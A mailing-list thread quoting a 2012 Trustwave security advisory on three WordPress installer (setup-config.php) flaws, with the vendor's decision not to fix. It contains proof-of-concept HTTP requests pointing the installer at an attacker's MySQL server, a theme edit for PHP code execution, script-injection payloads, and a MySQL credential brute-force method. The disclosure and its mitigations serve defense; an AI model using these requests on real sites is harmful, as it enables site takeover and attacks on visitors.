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Re: TWSL2012-002: Multiple Vulnerabilities in WordPress
From: Trustwave Advisories <TrustwaveAdvisories () trustwave com>
Date: Wed, 25 Jan 2012 08:43:34 -0600

The vendor was notified. They have chosen not to fix the issue at this time. The Vendor Response section has the 
details:

Vendor Response:
Due to the fact that the component in question is an installation script,
the vendor has stated that the attack surface is too small to warrant
a fix:

"We give priority to a better user experience at the install process. It is
unlikely a user would go to the trouble of installing a copy of WordPress
and then not finishing the setup process more-or-less immediately. The
window of opportunity for exploiting such a vulnerability is very small."

However, Trustwave SpiderLabs urges caution in situations where the
WordPress installation script is provided as part of a default image.
This is  often done as a convenience on hosting providers, even in
cases where the client does not use the software. It is a best practice
to ensure  that no installation scripts are exposed to outsiders, and
these vulnerabilities reinforce the importance of this step.

-----Original Message-----
From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of 
Henri Salo
Sent: Tuesday, January 24, 2012 5:48 PM
To: full-disclosure () lists grok org uk
Subject: Re: [Full-disclosure] TWSL2012-002: Multiple Vulnerabilities in WordPress

On Tue, Jan 24, 2012 at 04:09:16PM -0600, Trustwave Advisories wrote:
Trustwave's SpiderLabs Security Advisory TWSL2012-002:
Multiple Vulnerabilities in WordPress

https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt

Published: 1/24/12
Version: 1.0

Vendor: WordPress (http://wordpress.org/)
Product: WordPress
Version affected: 3.3.1 and prior

Product description:
WordPress is a free and open source blogging tool and publishing
platform powered by PHP and MySQL.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: PHP Code Execution and Persistent Cross Site Scripting
Vulnerabilities via 'setup-config.php' page.
CVE: CVE-2011-4899

The WordPress 'setup-config.php' installation page allows users to
install WordPress in local or remote MySQL databases. This typically
requires a user to have valid MySQL credentials to complete.  However,
a malicious user can host their own MySQL database server and can
successfully complete the WordPress installation without having valid credentials on the target system.

After the successful installation of WordPress, a malicious user can
inject malicious PHP code via the WordPress Themes editor.  In
addition, with control of the database store, malicious Javascript can
be injected into the content of WordPress yielding persistent Cross Site Scripting.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server
W.X.Y.Z = Malicious User's MySQL Instance

1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port
3306

2.) Performs POST/GET Requests to Install WordPress into MySQL
Instance

Request #1
----------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&sub
mit=Submit

Request #2
----------
GET /wp-admin/install.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2
Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3Do
If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT

3.) Get PHP Code Execution

Malicious user edits 404.php via Themes Editor as follows:

<?php
phpinfo();
?>

Note #1: Any php file in the theme could be used.
Note #2: Depending settings, PHP may be used to execute system commands
         on webserver.

Malicious user performs get request of modified page to execute code.

Request
-------
GET /wp-content/themes/default/404.php HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1

4.) Get Persistent Cross Site Scripting

Malicious User Injects Malicious Javascript into their own MySQL
database instance

MySQL Query
-----------
update wp_comments SET
comment_content='<script>alert('123')</script>' where
comment_content='Hi, this is a comment.<br />To delete \ a comment,
just log in and view the post&#039;s comments. There you will have the
option to edit or delete them.';

Non-malicious User Visits Wordpress installation and has Javascript
executed on their browser

Request
-------
GET /?p=1 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1



Finding 2: Multiple Cross Site Scripting Vulnerabilities in
'setup-config.php' page
CVE: CVE-2012-0782

The WordPress 'setup-config.php' installation page allows users to
install WordPress in local or remote MySQL databases. When using this
installation page the user is asked to supply the database name, the
server that the database resides on, and a valid MySQL username and password.

During this process, malicious users can supply javascript within the
"dbname", "dbhost" or "uname" parameters. Upon clicking the submission
button, the javascript is rendered in the client's browser.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server

Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=
&dbhost=localhost&prefix=wp_&submit=Submit



Finding 3: MySQL Server Username/Password Disclosure Vulnerability via
'setup-config.php' page
CVE: CVE-2011-4898

The WordPress 'setup-config.php' installation page allows users to
install WordPress in local or remote MySQL databases. When using this
installation page the user is asked to supply the database name, the
server the database resides on, and a valid MySQL username and password.

Malicious users can omit the "dbname" parameter during this process,
allowing them to continually bruteforce MySQL instance usernames and
passwords. This includes any local or remote MySQL instances which are
accessible to the target web server. This can also be used as a method
to proxy MySQL bruteforce attacks against other MySQL instances outside of the target organization.

Proof of Concept:

Servers Involved

A.B.C.D = Target WordPress Web Server
L.M.N.O = Any MySQL Server for which the Web Server has network access

Request
-------
POST /wp-admin/setup-config.php?step=2 HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1)
Gecko/20100101 Firefox/8.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

uname=mysql&pwd=mysql&dbhost=L.M.N.O

Response (If Password is Valid)
-------------------------------
<---snip-->
We were able to connect to the database server (which means your
username and password is okay) but not able to select the database.
<---snip-->

Response (If Password is Invalid)
---------------------------------
<---snip-->
This either means that the username and password information in your
wp-config.php file is incorrect or we can't contact the database
server at localhost. This could mean your host's database server is down.
<---snip-->


Vendor Response:
Due to the fact that the component in question is an installation
script, the vendor has stated that the attack surface is too small to
warrant a fix:

"We give priority to a better user experience at the install process.
It is unlikely a user would go to the trouble of installing a copy of
WordPress and then not finishing the setup process more-or-less
immediately. The window of opportunity for exploiting such a vulnerability is very small."

However, Trustwave SpiderLabs urges caution in situations where the
WordPress installation script is provided as part of a default image.
This is  often done as a convenience on hosting providers, even in
cases where the client does not use the software. It is a best
practice to ensure  that no installation scripts are exposed to
outsiders, and these vulnerabilities reinforce the importance of this step.


Remediation Steps:
No official fix for these issues will be released for the WordPress
publishing platform. However, administrators can mitigate these issues
by creating strong MySQL passwords and defining rules within a web
application firewall (WAF) solution. ModSecurity
(http://www.modsecurity.org/) has added rules to the commercial rules
feed for these issues, and Trustwave's vulnerability scanning
solution, TrustKeeper, has been updated to detect exposed installation scripts.


Vendor Communication Timeline:
12/22/11 - Vulnerability disclosed
01/16/12 - Confirmation to release vulnerabilities
01/24/12 - Advisory published


References
1. http://www.wordpress.org


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world.
For organizations faced with today's challenging data security and
compliance environment, Trustwave provides a unique approach with
comprehensive solutions that include its flagship TrustKeeper
compliance management software and other proprietary security
solutions. Trustwave has helped thousands of organizations--ranging
from Fortune 500 businesses and large financial institutions to small
and medium-sized retailers--manage compliance and secure their network
infrastructure, data communications and critical information assets.
Trustwave is headquartered in Chicago with offices throughout North
America, South America, Europe, Africa, China and Australia. For more
information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds
of application security tests globally. In addition, the SpiderLabs
Research team provides intelligence through bleeding-edge research and
proof of concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either
express or implied, including the warranties of merchantability and
fitness for a particular purpose. In no event shall Trustwave or its
suppliers be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or
special damages, even if Trustwave or its suppliers have been advised
of the possibility of such damages. Some states do not allow the
exclusion or limitation of liability for consequential or incidental
damages so the foregoing limitation may not apply.

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under 
applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, 
distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If 
you received this transmission in error, please immediately contact the sender and destroy the material in its 
entirety, whether in electronic or hard copy format.

These hasn't been fixed and some of these issues have been known for a while if you talk to users of WordPress or 
administrators of servers using the software. I am not saying that these are not real issues or anything like that. 
Have you contacted WordPress? Did they reply that they will fix these issues?

- Henri Salo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under 
applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, 
distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If 
you received this transmission in error, please immediately contact the sender and destroy the material in its 
entirety, whether in electronic or hard copy format.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


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